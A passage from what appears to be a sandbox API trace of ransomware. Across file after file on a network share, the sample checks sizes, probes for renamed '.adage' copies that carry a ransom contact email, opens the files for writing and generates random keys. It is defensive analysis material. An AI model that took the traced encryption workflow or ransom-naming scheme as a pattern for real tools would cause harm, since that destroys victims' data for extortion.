dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0149.312] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=27485) returned 1 [0149.312] CloseHandle (hObject=0x228) returned 1 [0149.313] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf")) returned 0x80 [0149.313] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0149.313] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\svuJsC.pdf" (normalized: "\\\\192.168.0.1\\documents\\svujsc.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.806] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0149.807] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0149.975] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=22828) returned 1 [0149.975] CloseHandle (hObject=0x228) returned 1 [0149.976] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf")) returned 0x80 [0149.993] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0150.163] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\v4eytQpoJk.swf" (normalized: "\\\\192.168.0.1\\documents\\v4eytqpojk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.225] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0151.225] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0151.293] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=53652) returned 1 [0151.293] CloseHandle (hObject=0x228) returned 1 [0151.294] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv")) returned 0x80 [0151.294] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0151.330] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Pbnq0tEevfYiPYev3.flv" (normalized: "\\\\192.168.0.1\\documents\\pbnq0teevfyipyev3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.568] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0151.568] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0151.668] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=43495) returned 1 [0151.668] CloseHandle (hObject=0x228) returned 1 [0151.668] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf")) returned 0x80 [0151.669] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0151.729] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\L1fyabptENWoGXu.rtf" (normalized: "\\\\192.168.0.1\\documents\\l1fyabptenwogxu.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.204] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0152.204] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0152.218] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=26006) returned 1 [0152.218] CloseHandle (hObject=0x228) returned 1 [0152.218] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif")) returned 0x80 [0152.219] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0152.328] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RyYcx2F2hgV.gif" (normalized: "\\\\192.168.0.1\\documents\\ryycx2f2hgv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.634] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0152.634] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0152.790] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=76149) returned 1 [0152.790] CloseHandle (hObject=0x228) returned 1 [0152.790] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods")) returned 0x80 [0152.791] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0153.812] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\eQwKBctI5AfYjbVKmqeN.ods" (normalized: "\\\\192.168.0.1\\documents\\eqwkbcti5afyjbvkmqen.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.114] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0154.114] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0155.145] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=73349) returned 1 [0155.145] CloseHandle (hObject=0x224) returned 1 [0155.145] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a")) returned 0x80 [0155.145] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0155.385] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KAk0a7xY4jTir.m4a" (normalized: "\\\\192.168.0.1\\documents\\kak0a7xy4jtir.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.495] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0156.495] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0156.523] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=37375) returned 1 [0156.523] CloseHandle (hObject=0x224) returned 1 [0156.524] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp")) returned 0x80 [0156.524] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0156.719] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\oNmnCAGLhaZCfP.bmp" (normalized: "\\\\192.168.0.1\\documents\\onmncaglhazcfp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.970] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0156.970] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0157.472] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=23395) returned 1 [0157.472] CloseHandle (hObject=0x224) returned 1 [0157.472] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods")) returned 0x80 [0157.473] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0158.154] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tcambCkECjq.ods" (normalized: "\\\\192.168.0.1\\documents\\tcambckecjq.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.289] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0158.289] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0158.389] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=44288) returned 1 [0158.389] CloseHandle (hObject=0x224) returned 1 [0158.390] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg")) returned 0x80 [0158.390] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0158.450] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\85sWKB.jpg" (normalized: "\\\\192.168.0.1\\documents\\85swkb.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.589] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0158.589] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0158.678] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=65995) returned 1 [0158.678] CloseHandle (hObject=0x224) returned 1 [0158.678] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi")) returned 0x80 [0158.678] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0159.637] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\bv3be5Un8YJj.avi" (normalized: "\\\\192.168.0.1\\documents\\bv3be5un8yjj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0160.044] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0160.044] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0160.929] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=51676) returned 1 [0160.929] CloseHandle (hObject=0x224) returned 1 [0160.929] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4")) returned 0x80 [0160.930] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0161.000] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0161.659] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0161.671] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0162.353] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=70113) returned 1 [0162.353] CloseHandle (hObject=0x224) returned 1 [0162.353] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg")) returned 0x80 [0162.354] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0162.448] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.116] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.116] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.118] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=46220) returned 1 [0163.118] CloseHandle (hObject=0x224) returned 1 [0163.118] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv")) returned 0x80 [0163.118] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.119] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.122] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.122] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.123] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=91314) returned 1 [0163.123] CloseHandle (hObject=0x224) returned 1 [0163.123] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc")) returned 0x80 [0163.123] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.124] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\pLGCqUlBqdCyIjLjqV.doc" (normalized: "\\\\192.168.0.1\\documents\\plgcqulbqdcyijljqv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.126] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.126] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.127] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=61827) returned 1 [0163.127] CloseHandle (hObject=0x224) returned 1 [0163.127] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf")) returned 0x80 [0163.127] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.128] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.130] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.130] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.131] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=64074) returned 1 [0163.131] CloseHandle (hObject=0x224) returned 1 [0163.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx")) returned 0x80 [0163.131] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.133] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6dEvdGK0.pptx" (normalized: "\\\\192.168.0.1\\documents\\s6devdgk0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.135] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.135] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.136] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=31189) returned 1 [0163.136] CloseHandle (hObject=0x224) returned 1 [0163.136] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls")) returned 0x80 [0163.136] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.137] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.139] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.139] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png"), 